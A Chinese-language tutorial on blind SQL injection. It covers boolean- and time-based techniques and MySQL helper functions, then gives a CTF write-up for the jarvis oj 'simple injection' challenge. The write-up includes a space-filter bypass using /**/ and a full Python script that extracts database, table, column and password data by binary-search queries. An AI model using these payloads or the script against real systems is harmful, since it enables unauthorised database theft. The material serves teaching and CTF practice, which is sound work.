SQL盲注

0x01 原理及分类

SQL盲注是指在无法使用详细数据库错误消息或带内数据连接的情况下,利用数据库查询的输入审查漏洞
从数据库提取信息或提取与数据库查询相关信息的技术。
通俗的解释就是查询的数据不能回显到前端页面,需要一些方法进行判断。主要有两种办法:
1.基于布尔的SQL盲注
2.基于时间的SQL盲注

0x02 涉及的相关函数

length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
count(): 获取列数
user():返回当前用户,若为root开头则是超级用户
database():返回当前数据库名
sleep(x):延时x秒

0x03 基于布尔的SQL盲注

主要利用逻辑判断,如:

获取库名长度:select 1 and length(database())>5;

获取指定位字符:select 1 and ascii(substr((select database()),1,1))>1000;

获取表数:select 1 and (select count(*) from information_schema.tables where table_schema=’dvwa’)>2;

获取表名长度:select 1 and (select length(table_name) from information_schema.tables where table_schema=’dvwa’ limit 1,1)>8;

获取表名:select 1 and ascii(substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 0,1),1,1))>1;

获取列名长度:select 1 and (select length(column_name) from information_schema.columns where table_name=’dvwa’ limit 1,1)>7;

0x04基于时间的SQL盲注

利用sleep(if(a,b,c))进行判断,如:

获取库名长度:select 1 and sleep(if(length(database())>5,5,0));
即如果数据库名长度大于5就延时5s,通过服务器响应速度判断是否成立

0x04 ctf中的盲注

jarvis oj 上的题目 simple injection:

通过简单尝试发现正确用户名为’admin’,当用户名正确时显示‘密码错误’,用户名错误时显示’用户名错误’,因此
可进行基于d布尔的盲注
进一步尝试发现过滤了空格,可用/**/绕过,构造查询语句为:admin’/**/and/**/1=1;#
用二分法可以简化查询过程,利用python代码进行爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
#encoding: utf-8
import requests
import time

url = "http://web.jarvisoj.com:32787/login.php"

#注入语句
database = 'and/**/ascii(substr((select/**/database()),%d,1))>%d;#'
table = "and/**/ascii(substr((select/**/%s/**/from/**/%s/**/where/**/%s='%s'/**/limit/**/%d,1),%d,1))>%d;#"
column = "and/**/ascii(substr((select/**/%s/**/from/**/%s/**/where/**/%s='%s'/**/limit/**/%d,1),%d,1))>%d;#"
text = 'and/**/ascii(substr((select/**/%s/**/from/**/%s.%s/**/limit/**/%d,1),%d,1))>%d;#'
table_word = ['information_schema.tables', 'table_schema', 'table_name']
column_word = ['information_schema.columns', 'column_name']


name = "admin"
pw = "123"
success = "密码错误" #判断成功的标志
admin = "admin'/**/"

#获取数据库名
def Get_Database_name(lenth):
result = ''
x = 0
i = 1
while i<lenth+1:
try:
l = 0
r = 126
while l <= r:
x = (l + r) // 2
payload = admin + database % (i, x) #构造payload
data = {'username':payload, 'password':'123'}
response = requests.post(url, data = data, timeout = 5)
#print(data)
if success not in response.text: #判断是否为真
r = x - 1
else:
l = x + 1
x = (l + r) // 2 + 1
if x != 0: #字符不为空时加入名称字符串,否则跳出循环
result = result + chr(x)
print(x)
else:
break
except requests.exceptions.ConnectionError: #处理连接异常
response.status_code = "Connection refused"
print('retry....')
time.sleep(2)
i = i - 1
i += 1
return result

#获取表名称
def Get_Table_name(database):
Table_name = []
num = 20
for i in range(0, num):
lenth = 20
result = ''
j = 1
while j<lenth + 1:
try:
l = 0
r = 126
while l <= r:
x = (l + r) // 2
payload = admin + table % (table_word[2], table_word[0], table_word[1], database, i, j, x)
data = {'username':payload, 'password':'123'}
response = requests.post(url, data=data, timeout = 5)
#print(data)
if success not in response.text:
r = x - 1
else:
l = x + 1
x = (l + r) // 2 + 1
if x != 0:
result = result + chr(x)
print(x)
else:
j += 1
break
except requests.exceptions.ConnectionError:
response.status_code = "Connection refused"
print('retry....')
time.sleep(0.5)
j = j - 1
j += 1
if result != '':
print(str(i) + ':' + result)
Table_name.append(result)
else:
break
return Table_name

#获取字段名称
def Get_Column_name(tablename):
Column_name = []
num = 20
for i in range(0, num):
lenth = 20
result = ''
j = 1
while j<lenth + 1:
try:
l = 0
r = 126
while l <= r:
x = (l + r) // 2
payload = admin + column % (column_word[1], column_word[0], table_word[2], tablename, i, j, x)
data = {'username':payload, 'password':'123'}
response = requests.post(url, data=data, timeout = 5)
#print(data)
if success not in response.text:
r = x - 1
else:
l = x + 1
x = (l + r) // 2 + 1
if x != 0:
result = result + chr(x)
print(x)
else:
j += 1
break
except requests.exceptions.ConnectionError:
response.status_code = "Connection refused"
print('retry....')
time.sleep(0.5)
j = j - 1
j += 1
if result != '':
print(str(i) + ':' + result)
Column_name.append(result)
else:
break
return Column_name

#获取字段内容
def Get_Column_text(databasename, tablename, columnname):
Text_name = []
num = 10
for i in range(0, num):
lenth = 40
result = ''
j = 1
while j<lenth + 1:
try:
l = 0
r = 126
while l <= r:
x = (l + r) // 2
payload = admin + text % (columnname, databasename, tablename, i, j, x)
data = {'username':payload, 'password':'123'}
response = requests.post(url, data=data, timeout = 5)
#print(data)
if success not in response.text:
r = x - 1
else:
l = x + 1
if x != 0:
x = (l + r) // 2 + 1
result = result + chr(x)
print(x)
else:
j += 1
break
except requests.exceptions.ConnectionError:
response.status_code = "Connection refused"
print('retry....')
time.sleep(0.5)
j = j - 1
j += 1
if result != '':
print(str(i) + ':' + result)
Text_name.append(result)
else:
break
return Text_name


def main():
database_name = Get_Database_name(10)
print('database:'+database_name)
table_name = Get_Table_name(database_name)
print('table:')
print(table_name)
column_name = Get_Column_name(table_name[0])
print('column')
print(column_name)
text = Get_Column_text(database_name, table_name[0], column_name[2])
print('text:')
print(text)

main()

运行程序即可获得password:

对MD5解码后输入登陆框得falg: